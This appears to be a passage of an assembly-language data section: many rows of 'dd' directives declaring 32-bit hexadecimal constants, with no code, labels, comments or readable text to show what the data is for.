		dd 85315C2h, 34B0BC4Ah,	0B6E1E167h, 0B7D237F1h,	770C34h
		dd 5B2743AFh, 0ABAC7B36h, 0A450B402h, 404629A9h, 984E4FDCh
		dd 0E4C0EB7Ah, 0DF56249Fh, 0CB9540ACh, 4E75FBB6h, 2A11C30Ah
		dd 8822BD9Fh, 0EE4165Ch, 0EF8BE97Fh, 0B40DC039h, 21719DFh
		dd 0C2378806h, 3C4060C7h, 0F0883A58h, 0C5C303B0h, 5AC043F4h
		dd 0FC64D6AAh, 273B841Dh, 49735440h, 183D9319h,	0FA74858Ah
		dd 96E1D180h, 0A10091E9h, 7581F645h, 909900CFh,	4B6DE064h
		dd 46008DA5h, 34B474F5h, 0D44E3Ch, 547FE879h, 0B3904153h
		dd 0D6D0F114h, 0A89280BCh, 0BCB87B0Bh, 2069000Eh, 0ADF26074h
		dd 0C10F9CE8h, 0F2AF29CCh, 0D338A060h, 0C09D014Dh, 415597F7h
		dd 0FDC321Dh, 0E0582B5Eh, 0BB73F86Eh, 3938603Ah, 0B54EAEBFh
		dd 802CA04Ch, 9D33A374h, 887E1FBEh, 7E793E6h, 0C54FBCC4h
		dd 68FC8845h, 0AC5E7300h, 0CC862176h, 1C9CE295h, 0CBA90291h
		dd 0FC90D61Eh, 0FD14F503h, 78B05C3Fh, 0A58B1800h, 0C0299BA8h
		dd 4C7B3774h, 0DAEBDEB8h, 31E97087h, 10E5B74Ah,	0E25CA9h
		dd 242FC489h, 0A31D3663h, 0AC008B75h, 435BCD4Eh, 453BBEEh
		dd 41D9ABE7h, 0D3FC81A8h, 9EBC401Bh, 889851FCh,	66F77705h
		dd 0C8A5B7h, 48A498AEh,	844C5710h, 0C5A6C600h, 0B482C29Fh
		dd 0C8C0DE14h, 45F380F4h, 6A3F02h, 8E1A7638h, 0DFA9D989h
		dd 48755D7Bh, 0BB404E0Ah, 9F43B06Fh, 90CCCCF8h,	0B6FC00ACh
		dd 5039C877h, 4E00D548h, 7CEB0BB7h, 12A873F0h, 0C029D23Fh
		dd 0D6288CD4h, 0E5FFF700h, 3401EAAEh, 84C12E51h, 80A02C50h
		dd 9D4A5CF1h, 0BC7D479Ch, 20D1EC25h, 81890F6Ch,	72E01C48h
		dd 9996406Eh, 0F8D1785Eh, 0EE877491h, 0AE60E70Ah, 7180209h
		dd 520F399Bh, 2E08C0A5h, 41006E20h, 1EAA481Ch, 7B334E81h
		dd 0CD6425B3h, 2EF530A0h, 7F0E3969h, 0A08A23BAh, 88ADE2D1h
		dd 40B4941Ch, 614F2553h, 521E8603h, 58064773h, 0F580B0F0h
		dd 0CCF0A12Ch, 0D9C8EF1Eh, 5440803Dh, 0FFC1DC32h, 0E8E4581Bh
		dd 0A9A2B907h, 7FDF438Ah, 3DFC8480h, 45446312h,	18222C91h
		dd 3930D9C4h, 271D141Bh, 0D867008Dh, 0B9F07E63h, 0B57B4318h
		dd 0E37CAC1h, 58B28BD4h, 0C868E762h, 527D2240h,	3DC8C452h
		dd 670D0017h, 0BD779747h, 0B03416C5h, 0A4D0321Fh, 374D7310h
		dd 8061A6B5h, 0AC6DBB58h, 0FF4611C6h, 44878019h, 0C01B0EF7h
		dd 79E0905Dh, 37A4DC6Bh, 0D9B77613h, 0C7778020h, 25AE00BEh
		dd 0BB8767ACh, 51C03A37h, 637524C5h, 44C098F2h,	3B4855E6h
		dd 0DBC81584h, 5D4F169Ch, 0A89200AAh, 74F0BD4Dh, 0CC45CC3Ah
		dd 5C7D2C84h, 6847FC89h, 312C40h, 0F216F479h, 224FF813h
		dd 80B8B858h, 65F73242h, 2ED8B0F3h, 0CC7F2E9h, 0A1106C96h
		dd 0C612E698h, 0EC00EE39h, 47FAF89Eh, 0C3E2AAh,	6B164EB7h
		dd 0E5B64205h, 0EC60F490h, 642D7FA8h, 0C0B8EC02h, 0A0C97C10h
		dd 7358AA49h, 47460338h, 0B950FC60h, 0C671A75Ch, 384C8ACh
		dd 4129B84Eh, 2CC064A2h, 609AA7F4h, 0A2F80090h,	3E6C0500h
		dd 0DB93E1EEh, 249B00E5h, 5129F3A8h, 6D004325h,	75AE4D31h
		dd 1E11662h, 3A504BE3h,	2857F104h, 0D1CE8014h, 4E49A8h
		dd 4F446045h, 3C265668h, 78170218h, 0F75D5470h,	17E9423h
		dd 0E179C861h, 303D2EA3h, 9E031805h, 0B5B327DEh, 1F2917A9h
		dd 17420D6h, 72002AA8h,	2669E41Eh, 90039B8Dh, 0BACE0104h
		dd 0AB6EE70Ch, 0E093CCA5h, 88052D0Eh, 74B6249Eh, 3CCB8CB4h
		dd 27052B0Bh, 0A6FFDCh,	8CF35AEh, 8824579Bh, 630C14BFh
		dd 9A080Bh, 0DC6C4EEBh,	0F1FBA425h, 0C774C503h,	0E238B4FEh
		dd 945ACDh, 0D51B7C40h,	0E9A7FAD6h, 3EF2011Dh, 0A00FC28Fh
		dd 0E118BF5Dh, 0C99F01EEh, 60E76C14h, 0B098840Dh, 54910A25h
		dd 0A980B1CDh, 35FF7389h, 7A00D322h, 10118EDAh,	7FED7B6Dh
		dd 0FE0FEA4Dh, 482403CCh, 4EBDD2DEh, 0FC2376B8h, 0B06074FAh
		dd 6BC25949h, 6C9F00A4h, 61A51E51h, 0C1C8083h, 4A3CCC50h
		dd 9E983430h, 702902EBh, 7BB9B64Ch, 0FA822480h,	0C17B4FBEh
		dd 0A9FD891Ch, 0DC809BDEh, 47534D18h, 88DB3C73h, 45010774h
		dd 0C0CA38B3h, 0DFA5BA28h, 0C4FAAB09h, 0B420A7B1h, 8479E511h
		dd 1FCCFCh, 8D6005A5h, 776B4A15h, 74491800h, 9EDEB765h
		dd 80A896D1h, 50918675h, 6900B334h, 529479Dh, 326F71h
		dd 0BD332A51h, 9C7A3544h, 9485458h, 0C9A54CB5h,	4980B760h
		dd 96BBDE73h, 0BF00D9A9h, 91A8E12Ah, 0DF297A66h, 191C80F1h
		dd 8B8A7251h, 0EDD0700h, 0B9C99948h, 57A90055h,	9E961EEFh
		dd 0B54A5893h, 0A8A6D860h, 5DBA12C9h, 0EB94306Ch, 0A101DDACh
		dd 0BD27FC6Bh, 4C227A80h, 0FD7C41Eh, 2621E4CCh,	2DDF53C8h
		dd 58980030h, 5273AD87h, 40B5584Bh, 0C17E0D00h,	0B9E4B7A7h
		dd 79CC6E73h, 4C6208EFh, 9E0264F4h, 0A3C8DDA8h,	4AEEBCA0h
		dd 290EAF6Eh, 80A0EAB5h, 0D4DC9F97h, 18AC135Bh,	0D5682074h
		dd 8428460Ah, 0CD01A8D9h, 0D77CC224h, 0EEE14157h, 62F00903h
		dd 0DB04B802h, 0F69EE7A0h, 42AB9082h, 601C7100h, 15522093h
		dd 0FEEC4E01h, 0BDE95C06h, 88390860h, 80989EA8h, 41033490h
		dd 3DA116B5h, 0D9C9D8CCh, 74B42D13h, 7899D020h,	0B4A0611Ch
		dd 0A5F8AE5Bh, 508496Fh, 0BCC8DF55h, 0D87600C5h, 0E820C1B0h
		dd 1405966Dh, 0BCD2BEC2h, 0A36C8C58h, 7FFA95h, 0C465D362h
		dd 76C56E9h, 0A56625h, 46973D5Bh, 0B8D2FEBEh, 58A8441Ch
		dd 62DD8C00h, 0BAC6269Ah, 681B50BBh, 6E9039A1h,	5B61FD80h
		dd 7758FA5h, 2FF41100h,	0CC025EABh, 0E153002Ah,	0D3D59D01h
		dd 0FE73AD47h, 0F28C849h, 42CA0279h, 81CB65C1h,	0F16D84C5h
		dd 8E804038h, 90F68721h, 0FCA1A87Dh, 406431C0h,	5DB95484h
		dd 239D3201h, 0F5A1AE6Ah, 5F07C423h, 0B0781E4Bh, 0D0150EF4h
		dd 1DAC9501h, 0C9CD50Fh, 61D92A70h, 0F8CC69AFh,	0DCBFF8C4h
		dd 3AE1F200h, 94BCA5B9h, 3BC509F7h, 0E4E0EE21h,	59001732h
		dd 0EB9D47EAh, 160D6DFh, 0EF699B98h, 7345E551h,	23AF0050h
		dd 0D4C24C67h, 0B07E07h, 151A059Ah, 63B7CBAh, 0F746AD1Fh
		dd 2D5C2954h, 3418A0CDh, 0FFE8133h, 743C46A5h, 43BD4EA0h
		dd 2A2E4FB2h, 8D406CB8h, 2953A8h, 918470E6h, 95BE1EDDh
		dd 6DD00800h, 0B3F21054h, 0FBA71339h, 0DA78885Ch, 99BD6300h
		dd 16EBB026h, 58331DDDh, 0CC38C47Dh, 0A4C4F4CEh, 938D4600h
		dd 308F95AEh, 6AFB05CDh, 8898BBB4h, 488BA64h, 7197620h
		dd 0A2A80AD8h, 966C40B5h, 0D001B9CAh, 0ED682B2Fh, 3180ABD9h
		dd 2D25D37Eh, 96008E28h, 12B380FFh, 1C8F9B52h, 6C5C92Ch
		dd 0C02223DCh, 0D420D84Ah, 9ACDF6h, 2DE93C41h, 40AEFB4Bh
		dd 3176BD08h, 37D7261Eh, 0AA273008h, 7CB09D56h,	706FED24h
		dd 0D1D73860h, 781A0BC3h, 0E8008653h, 9DEB6747h, 1F73BE04h
		dd 3880F1ADh, 0ACF5099Ch, 5FE900A0h, 0D154ED37h, 0CD3DABBBh
		dd 504D2EEFh, 79C17B01h, 0CC38221Eh, 90CF7680h,	2F28C32Ch
		dd 0AD0E93C0h, 0C39A33A2h, 125F5A0Dh, 0F5E9A0h,	5218D974h
		dd 0F309EB2Ah, 0AEBAC4E6h, 427C00F0h, 0E058EFh,	0B2129AC5h
		dd 9D4D8F8Dh, 36B62E00h, 576EF426h, 3E49265Ah, 20A802E8h
		dd 4C4442CAh, 0B971737Ch, 5B12FE00h, 570D4AE2h,	17E30034h
		dd 8D2AB1BDh, 0E417A741h, 0F8017589h, 0E9A898C0h, 9183F078h
		dd 0C7E82BC6h, 70BE4711h, 0AC366740h, 99DB2DC4h, 3201CC90h
		dd 73803A04h, 0CE408CCDh
		dd 0FA33FCACh, 0C5ED061Fh, 0C3E260C0h, 4881E9Dh, 0DCC7F1BAh
		dd 89CCC2FEh, 0C9D4F10h, 5654C6C0h, 0D0A375D8h,	9416F5h
		dd 354C5360h, 3471A548h, 0A8E08500h, 1CEA89CBh,	1A5E0024h
		dd 0E4E74B04h, 0BA2DFAC4h, 0F0D02466h, 9D50B280h, 284E74D7h
		dd 99E094F2h, 571264h, 85A207A9h, 20731A3h, 0F7DEC25Bh
		dd 18FC19D0h, 91B612C3h, 5E3C03CFh, 0FCA43F62h,	0B0222FB0h
		dd 3B6BBF1Ch, 0A982B0D5h, 35BB58DEh, 2C86D871h,	1127B8h
		dd 910A96B4h, 50A6EA75h, 7774ED00h, 0CB43F745h,	20C94C16h
		dd 0B61BCC42h, 0C1C739A1h, 8820283Dh, 0ADCAA319h, 0E6341880h
		dd 0CB03FDBFh, 0BAB61B0Ah, 20214B5Eh, 0B8DB38ECh, 3A4E4600h
		dd 0C3D47F1Bh, 0ACE148CEh, 243BE700h, 0AEB9B3D1h, 0A0453325h
		dd 97777278h, 4E5B83Eh,	0CBBCA621h, 74ADB8h, 0BE443CABh
		dd 221223E2h, 1F17A5B6h, 0D4815549h, 4430C01Eh,	0B99F03B8h
		dd 15D95DEBh, 0CB9E1FC8h, 0B2355100h, 1D8DFE53h, 0BA207BC5h
		dd 5E0100E2h, 9489E6DDh, 6F01432Fh, 0DB7F1F03h,	0B1E3D842h
		dd 54474793h, 350118F0h, 0E90F0415h, 80D29E3Bh,	2120F3A4h
		dd 0B447C426h, 6F032D11h, 0B61FDA72h, 0DC322280h, 4C11D314h
		dd 0E4247EC4h, 920BDC47h, 0F66018F0h, 762B0180h, 0B0BE50D4h
		dd 0A4D44C30h, 0C3AE0184h, 0E4EC886Eh, 0BC29B8h, 0EFA342C0h
		dd 0E2A8E29h, 94826B27h, 0BE516283h, 92957780h,	0D99E0914h
		dd 42A4C83h, 0E0DEB51Fh, 6B0068E2h, 7536A319h, 0DD13B167h
		dd 0C030B6F4h, 799959h,	0E76C0DF7h, 381463E9h, 9ED9F900h
		dd 6784A618h, 4D4C286Fh, 0D20E18CCh, 0BCDE59BFh, 4A74B51Dh
		dd 0C19F82BAh, 60AC0640h, 0D1567Ah, 0A8AAA96Eh,	0B3A19D39h
		dd 40720C00h, 6C5DB774h, 174F04FEh, 0B47A9A09h,	36F86E9Ch
		dd 1E07CF8h, 0BCEECF3Ah, 9314A545h, 0E6AB9994h,	7C660CFCh
		dd 808094EAh, 365E42A1h, 2DF299CBh, 92663100h, 6D17F4FCh
		dd 1F88076Bh, 0F0C05145h, 33BB32CCh, 0F7F09E04h, 50ADA8B5h
		dd 51A6D618h, 0BC39F96Ah, 0A82A84CAh, 0B0A4BD0Ch, 0C04E0085h
		dd 3F78A671h, 0F1982949h, 0CDF2AC70h, 20849D4h,	723557BBh
		dd 0C825C04Ch, 77B31840h, 0B5FB61B2h, 5F9A26Fh,	148CAD4Fh
		dd 77390219h, 80376FDEh, 1B2A0140h, 42D3A400h, 4F7E9764h
		dd 0F25A2A8Ah, 7A1A3B58h, 5F5CEB02h, 24524AB3h,	0AC6F9B09h
		dd 14650Bh, 0AAA0D2C7h,	0FE050717h, 3BD6F9F0h, 0E8E6DCC3h
		dd 0B647FB92h, 0B7B98304h, 0F7A06002h, 87008818h, 7FE4E316h
		dd 0B993FECh, 466BFFE1h, 0D4AFD469h, 0D50ECA55h, 20770F42h
		dd 80F8A262h, 491D013Fh, 56108D2Bh, 0A88848D6h,	0EEFF0D04h
		dd 8BC754AFh, 1CF6E4C0h, 0EAE90E35h, 0BCC01577h, 50A5BAE6h
		dd 5700C2F4h, 4E012A9Eh, 25667ADCh, 54B1A8B7h, 2EC4847h
		dd 80219600h, 52B348C2h, 1F54758Fh, 84F6DF9Dh, 80208B4Eh
		dd 7401369Ch, 0FAE52D40h, 833C0045h, 0F04F0490h, 8A177DE1h
		dd 91BC8274h, 49E84226h, 0D18CD380h, 0CE48AFD0h, 12409E68h
		dd 42FC942Dh, 9DF8023Eh, 2BE006D4h, 5F57E18h, 28DBFFA3h
		dd 5EE83072h, 202350Fh,	0B0F2D536h, 26E84432h, 0C0E4BDB6h
		dd 49A31D77h, 163D5309h, 5CA8185Dh, 0CB594BBBh,	122900ACh
		dd 54F73C2Ah, 26169850h, 0B9A209h, 4ECDCACBh, 310073CCh
		dd 52A056AEh, 9186C77h,	7B471661h, 97BBE4C8h, 7F3E0C0Eh
		dd 0F96CA0A5h, 49B8BEDh, 4A9A2669h, 3B20ACBDh, 21ACE7h
		dd 5259816Fh, 77D154A6h, 612A3E21h, 0D8445B40h,	200EB4A1h
		dd 0D6A74C67h, 0BE269008h, 40700B24h, 0A8536B22h, 3B5C7509h
		dd 0A9E849D6h, 3CC1AAEDh, 36CB660h, 5C219160h, 46EAFCB5h
		dd 4440DC5Eh, 5C1DED1h,	937C14C5h, 52E0C755h, 94F97F91h
		dd 804AD70Bh, 0DE8117BBh, 8831D99h, 1F49C22h, 863CF550h
		dd 2B61D64Ah, 27C73F1h,	0B21A230Bh, 0E7A06157h,	4316D030h
		dd 0F9400C7h, 0FA8EF4D6h, 11A177E1h, 0FA4D96Ch,	0A0589952h
		dd 6248A0B8h, 3EBEE4CFh, 30053D6h, 0C0A316D5h, 0A00B7126h
		dd 0C4554BDAh, 69040044h, 39BAF8EDh, 7C00D697h,	72A19E14h
		dd 9AF9B9h, 5A1524CCh, 0F1B4C0A7h, 477CB8A0h, 3B54625h
		dd 80137914h, 1D0D5ECBh, 8E3B7527h, 0EF80FB12h,	549F9078h
		dd 6CF9A92Ch, 24601125h, 4442F310h, 0FA1D2C03h,	9077252Fh
		dd 76C34B4h, 2A485846h,	816424A7h, 73F83D00h, 0B69A2254h
		dd 24FB4060h, 95EE917Ah, 3EDBE000h, 1087D90h, 566F0007h
		dd 9BF559C0h, 0D50499F7h, 0E92772ADh, 9E1BD2C0h, 12DC72BCh
		dd 90BEB186h, 901D83A4h, 0BB19A40Fh, 28E86031h,	907C75F9h
		dd 60CA0F80h, 0A5CB51E3h, 0EFD904FFh, 0D4A61891h, 25FDD0DCh
		dd 4C6E5BEh, 0DD11706h,	22D0DC79h, 0A12221BBh, 644E01E3h
		dd 0F9E90C70h, 0F88227Bh, 0E1501034h, 0CD0801B2h, 0B300D43Dh
		dd 61B10A57h, 5A075FBDh, 6B6F3C88h, 4AA4F2C1h, 26AA5420h
		dd 44B63h, 3C9DD897h, 0A1DF3B9h, 0CBC54191h, 0B383FAB2h
		dd 76A082B4h, 0EAC3407Ch, 0C0C8E9A3h, 5518813Ah, 80F3A7B1h
		dd 978DA258h, 9DDEB60Dh, 68701486h, 0D56B880Fh,	3AC60148h
		dd 80509BBDh, 5793B96h,	8CF6C737h, 0E7C8074h, 0B525BDC5h
		dd 4788E848h, 9A16EE99h, 9F452E0Ch, 7558308Ch, 5D37BC4Fh
		dd 0F943D833h, 0E47BA023h, 14409585h, 60A1F6A8h, 40402B25h
		dd 0C31C4165h, 80F89911h, 0EDEA7D0Bh, 8F380140h, 6B20801Ah
		dd 65727FF0h, 42640059h, 0C043B0D7h, 64B45E97h,	90A70B40h
		dd 1514820h, 0AA0AD900h, 0B408DE1Eh, 0CCD2484Ah, 0D180C0A5h
		dd 60BC0072h, 63C2B3C5h, 0F903C96Ch, 2AFB6989h,	654EE0A4h
		dd 4378066Ah, 0E8237F74h, 7168E800h, 0AD1F4B48h, 2C810A6Eh
		dd 1E842A01h, 0B623423Bh, 6CD2BD7Ah, 80ECE03Ch,	0D1A91596h
		dd 29A1292h, 24E63C08h,	0FC5C667Dh, 8FE00303h, 0E35E09AEh
		dd 5200F4D3h, 0A2B3042Fh, 838A1E01h, 0E78CB0D4h, 0DE3B4029h
		dd 116DBA18h, 9646E5h, 2B44F680h, 1DB22751h, 87F0F44Ah
		dd 0C0E92281h, 47F6D99Eh, 0AD555300h, 7815323Ah, 58651204h
		dd 0B0083767h, 0CBDDA877h, 10132912h, 9BEA4CD9h, 25BBB0E0h
		dd 4AAF1294h, 6CB0F49Eh, 31A017F5h, 4849E32Fh, 0DE3BC85Fh
		dd 0DA001DBCh, 46F0238Fh, 8D24D5Bh, 0F8532B00h,	588217Fh
		dd 0ECBE8F18h, 0B4A08387h, 0C48952D4h, 884837F1h, 442A1CFCh
		dd 400022BDh, 52C7D018h, 75C425h, 1C3EAFEBh, 7465FFF9h
		dd 2B1641F6h, 0EC0032F2h, 77B49BEFh, 0DC109F0Ah, 0CC703523h
		dd 5EB59F3Eh, 6DA4F860h, 8AF309EEh, 186451DAh, 0ABE29AFCh
		dd 4D523601h, 0CE48ACA0h, 3C30F024h, 188B8A7Fh,	0F048D1E9h
		dd 962CA36Eh, 3380B2Fh,	0CEF8B069h, 0EE42986Bh,	0EBC20599h
		dd 0B253BAE0h, 2B0E1744h, 0E4E6780Ah, 0A1824801h, 36F45734h
		dd 116704ADh, 80CCE42Ah, 518AC2C0h, 81F01295h, 1D042325h
		dd 90F4D30h, 2A32013Dh,	20430407h, 1F40D99Dh, 9EA4E800h
		dd 4EF79F33h, 37CF017Ah, 0B347E21Eh, 83502871h,	0F0BE11EDh
		dd 54D9D62Ch, 2B84B9h, 0CF3CB0AAh, 4DD862DCh, 0BE052209h
		dd 13B8548h, 9C28F400h,	1F54554h, 0A4CD33FAh, 305057C9h
		dd 581DC4F6h, 460A7FF4h, 1960B0F7h, 2E9C2131h, 40F4CF37h
		dd 14CA016Ch, 0BB073209h, 0F8881358h, 16DBD371h, 0A2CF38B5h
		dd 210E07D4h, 0F240E8A8h, 8829CD0Dh, 62003710h,	9D53BEE2h
		dd 9E0C004h, 51F9631Eh
		dd 0EE5BF800h, 0D9008B33h, 0AE9AD34Eh, 0BBB554BBh, 0C9AC80E8h
		dd 0CE7A8A71h, 0D440D64Bh, 0B5EF01DEh, 66500B8h, 56A0FE89h
		dd 7602B6DBh, 0B46F693Ah, 854059A7h, 88D910E8h,	0B67C3CA0h
		dd 0D7B292A0h, 4F6C0300h, 0A7430B72h, 902AE687h, 5CEF0508h
		dd 0C979B368h, 933C3C7Ch, 0A79C5000h, 0A3721Bh,	46416125h
		dd 51F5F4A0h, 20685526h, 7BDD86Bh, 567A4FCAh, 0F21211AAh
		dd 0FCFADFE2h, 206007E2h, 5817C3D3h, 3405DC32h,	0C1AFBFAAh
		dd 2976AD8Eh, 90205E84h, 3658792h, 903797FCh, 96F8DFC2h
		dd 40EEE04Eh, 0D6124B90h, 0A4C8E7E1h, 56D501FFh, 6D338744h
		dd 0C075C0C4h, 914C8EF6h, 64A32790h, 0F9272E40h, 40B04460h
		dd 0AB5A81D0h, 0FB3001B9h, 0F55E53C7h, 0C957E494h, 30C8B55Ah
		dd 97FA7844h, 647F0C10h, 0D8009DF4h, 6922AD27h,	88297B2Ah
		dd 0D47AF5DDh, 0F92FE901h, 485B19A6h, 70AEA470h, 8C1F40BEh
		dd 0EDEFC909h, 1DAA80D7h, 7C8E1A22h, 3A3226ECh,	0FA600008h
		dd 0F89E380Eh, 6F53B100h, 0BE6410A6h, 0C85F4C74h, 5A2EAC05h
		dd 2BDC9087h, 5D26BB4Dh, 0A925C0E7h, 750F904h, 56ED06h
		dd 0B6E92F5Ah, 47C8160Fh, 0A8C053A9h, 0F91EB0FFh, 0B584442Ch
		dd 0D8D90A0Ah, 75720E40h, 950639F6h, 0D392480h,	0C5CB735Ah
		dd 9EFDF801h, 354158A9h, 6C020062h, 0D1B1A844h,	0FF5B6360h
		dd 0C147D41Eh, 0C2010CEEh, 59AE35FBh, 2B0EC4Ch,	32CE1006h
		dd 2A60BE7Fh, 0C700EE61h, 3458420Fh, 14355B6Ch,	0EC892662h
		dd 0E74AD09h, 0A92938A1h, 3C206EE1h, 31D64Dh, 0DFC79E9Ah
		dd 4C29947Ch, 7B7F9F03h, 0E89548B2h, 49AEF6h, 41327753h
		dd 34B06EA9h, 0FFAC219Fh, 176A190Fh, 0B85C2898h, 6F79EB00h
		dd 0AB10E354h, 407F00D5h, 4224F471h, 5E00486Eh,	7E89CDF6h
		dd 0E0AD3557h, 1E0C75DCh, 0CD30927Fh, 89802AEDh, 0F85CE578h
		dd 4C297798h, 0B2C06C40h, 4110B360h, 7417A0B8h,	10D0CECDh
		dd 0F09F12h, 9986F2D6h,	0D88D39FDh, 0ABD4DF0Eh,	74CCA29Ah
		dd 646670h, 7AEC502Ch, 5E4AE189h, 2BAD8016h, 0C1BC740Eh
		dd 0B70BB07Fh, 5730550Ch, 8F0C202Ah, 74CD0763h,	31DC46ABh
		dd 20937B8Bh, 1E17A540h, 6C24C4ECh, 0E979A081h,	5EB830h
		dd 0C06F21B9h, 0C88D5644h, 9C4020FDh, 43A54709h, 3FA0820Bh
		dd 48669Fh, 1CFAE081h, 0E5476C54h, 7EF8D939h, 0B049B977h
		dd 0CD37004Ch, 0DFECB543h, 8EDD0085h, 26835C6h,	15736E72h
		dd 40532B00h, 0C3B32677h, 32791DE1h, 0E688C0C4h, 99554DEAh
		dd 5B4ABD72h, 0CED400C1h, 8A00B02Dh, 0D2FBC13Fh, 9100798Eh
		dd 35277540h, 1222C794h, 0C8F3A88Fh, 0C00A6F4h,	412A72F4h
		dd 67FEB71h, 30C3B00Eh,	0A12C08EEh, 0AA056CF6h,	0D082BEF9h
		dd 20CC4A4h, 9984DC3Bh,	0B0E4D17Ch, 0EE11FC03h,	0E1C5A029h
		dd 0FBD56B52h, 970D820h, 0FD4DCB43h, 4B7A88C4h,	91BE3Bh
		dd 9882376Ah, 50843661h, 99CDCEFh, 35B4E266h, 5E12D444h
		dd 1CF5EE93h, 6496E9F4h, 8332A018h, 0D7ECB858h,	3520B1A0h
		dd 557BD4C4h, 71BFD31Fh, 0C0A00ECFh, 6E3325Bh, 164D02D7h
		dd 0A2B4978Bh, 19DC0DAh, 7729E4D8h, 5ECF7C20h, 0D87C895Ch
		dd 5100321Dh, 79E3043Bh, 7ADD8DD4h, 9B9001Ch, 29B40D0h
		dd 2F0011BFh, 78659DE2h, 938345h, 0AF1AA85Fh, 0C9D26C30h
		dd 809A6D3Bh, 4A701768h, 4997DDh, 0A3642EF3h, 0CFED9316h
		dd 0D9386F0Fh, 5F95A757h, 41E64AC1h, 0B7FEC8h, 0E5262903h
		dd 32BD679Ch, 8C651E38h, 407BE423h, 505E185Fh, 0A2CA3894h
		dd 0BD35760Fh, 24258012h, 0B93A17Ah, 61C1B3F5h,	45DA2781h
		dd 3000C33Dh, 0B1873B16h, 0E7294A5h, 51CB62B3h,	0D7CA8FE0h
		dd 964C9713h, 8A450091h, 0C4AE5465h, 59E200B0h,	0C1BCF5D4h
		dd 4C18F257h, 4B512388h, 0B48B0054h, 0ED34C4D0h, 14000260h
		dd 82F6B613h, 30991D27h, 0E8B1426Ch, 0B00909Bh,	8660EB22h
		dd 1AFB6Bh, 56F2F775h, 0ED33E517h, 65B35A02h, 0C0AE55F5h
		dd 0CF1CD503h, 6720A3F8h, 39F08C69h, 0C801DA28h, 9B25771Dh
		dd 80C0A20Fh, 889D0B79h, 0A0A1C09Ah, 6930A4AFh,	9409ED0Ah
		dd 8E00C0E3h, 54D65CADh, 0AFE765Eh, 4BDF28D4h, 0E25980E8h
		dd 87AA9BA9h, 48C75EFEh, 9A40E9C7h, 71D444Ch, 0F74FFAD2h
		dd 26244084h, 3DE2773Ah, 0CA7841C0h, 0C79BC4h, 0F9955D35h
		dd 0E2E131C1h, 18CDA000h, 0F72156CEh, 0BBDA1282h, 660C40EFh
		dd 0C67935C2h, 11A1C403h, 0A004450Fh, 18885CD5h, 613F781Fh
		dd 29011231h, 0A83C4127h, 1BD8E0B4h, 4FE200DAh,	3195D9EBh
		dd 5D001E7Eh, 5C87336Bh, 2A0E826Ch, 0A42B58h, 0CF928E23h
		dd 0EFABB9EDh, 66154619h, 0A884F689h, 90511B6Ch, 830F6E20h
		dd 0C1E9F500h, 9C925E11h, 8F9F0013h, 23565246h,	7852A35Ch
		dd 0C30E00A0h, 61D4A454h, 9DDA0609h, 614D1A46h,	14D11E18h
		dd 62B57789h, 0C6CD19F0h, 0A77AE860h, 64950303h, 88C24E9Ah
		dd 7553449h, 9689D66Ah,	20F510FBh, 88924F9Ch, 0A1889B10h
		dd 0ED52F478h, 0C16B34FDh, 0D0AAB89Ah, 304E56Ah, 0E038BE13h
		dd 0ED7BC9C0h, 0CF40030Eh, 98883ADAh, 9BF411Ch,	1BA92040h
		dd 1A4A548h, 8BC1F555h,	40CA5821h, 52440C88h, 64D64E00h
		dd 1F3318B3h, 5EE00239h, 0C21E9AE2h, 1D45B490h,	50E15960h
		dd 99A24719h, 908E0104h, 40ED7783h, 0CC2BC0B8h,	128A4602h
		dd 87D66624h, 992C889Ch, 0C69E0008h, 7A3B8346h,	270069DFh
		dd 0CC939209h, 1D11BCA2h, 4C26EA3Dh, 0D360A429h, 0F6598003h
		dd 0D95AE750h, 0C5D85BDAh, 0C67401A6h, 0F3394653h, 9115FB12h
		dd 0E04177h, 5447E576h,	906A988Fh, 0B7620398h, 0AE955581h
		dd 3AF09161h, 209FFB74h, 554F0286h, 0BB23229Fh,	70590E58h
		dd 8441C5CAh, 0CDB0858Ch, 0ED6BE4BDh, 0C8686500h, 0BB770DE0h
		dd 4B552805h, 0E5940178h, 769B151Bh, 43F8C088h,	0E8714898h
		dd 22481F01h, 97890D8Eh, 41213180h, 0D36EF163h,	12B62800h
		dd 0BA102F06h, 2489C033h, 267C1B30h, 4EF78300h,	299C232Ch
		dd 410B00E1h, 0FBECA51Ch, 8148F55Bh, 4C60C008h,	11FA786h
		dd 332AE0A1h, 31B99472h, 4812CDCCh, 470052F4h, 1011E408h
		dd 2027BFB7h, 5F4A50E2h, 0E81CA5ACh, 1CA0A955h,	92C91E8Ah
		dd 6DB84034h, 390E0479h, 0B0FB8707h, 0A1C2138Bh, 0C8544341h
		dd 51BF1ED8h, 63C9381Dh, 5CEDD982h, 0E640ECDAh,	59ECC519h
		dd 69963D30h, 0B0AB796Fh, 1F92906Eh, 5FE04FB9h,	0EB6A858Dh
		dd 960C884Bh, 2E8AF400h, 0A79319C7h, 1C18000Ch,	0C4868323h
		dd 7B09F708h, 10314694h, 513DD168h, 47D484B7h, 413E8195h
		dd 308FEF3Ch, 0F200CC72h, 0EA5DA841h, 2326BB9h,	292DFFDFh
		dd 90A1519Ch, 444D6CC3h, 87240FA8h, 80EE3EF1h, 9F901828h
		dd 2640586h, 30B65352h,	0CC4CB1Eh, 2D00547Bh, 0FF340351h
		dd 0B04078BEh, 0F60907Ch, 31BD2687h, 0E103B494h, 293E842Bh
		dd 42F96113h, 0D6BFEB00h, 70EFCA1h, 69BC2BADh, 27C030DBh
		dd 8C924ADAh, 71686B30h, 35D42BFh, 0F00977CBh, 258AB9C9h
		dd 0ECFFBC48h, 8AFE9D0Bh, 0B173804Fh, 982A218h,	0EAAE524Bh
		dd 12369800h, 5A06E299h, 15CE1E6Dh, 6CC91459h, 0F11E3878h
		dd 5CD000B5h, 0BEE5598Eh, 97DE0A03h, 0BE6499E1h, 255200D0h
		dd 9A3AB927h, 0BA2A1C4Dh, 3E00D051h, 0F3AAC5B2h, 2CE4D5E6h
		dd 980DECh, 63FFF786h, 0B8A457E8h, 2EB28E00h, 4E3480EAh
		dd 73AC1F8Ah, 21465817h
		dd 3AF6A799h, 0D6C8B100h, 1F1CFDF1h, 79B6012Eh,	0ADD7FFE0h
		dd 0A256F02Ch, 0B49B2602h, 8057F63Ch, 0C285BE20h, 12C73894h
		dd 0FA383E00h, 41F130FBh, 0B028EE71h, 10FFE881h, 1CA85396h
		dd 5D3A2C4h, 82291D08h,	306487EEh, 0B295C817h, 515AF300h
		dd 4CABEF83h, 4B0EC971h, 0C4A0B8E1h, 310B507h, 0D89070B0h
		dd 7D006AF8h, 137612D1h, 506C6374h, 0A84C832h, 0B54F1D02h
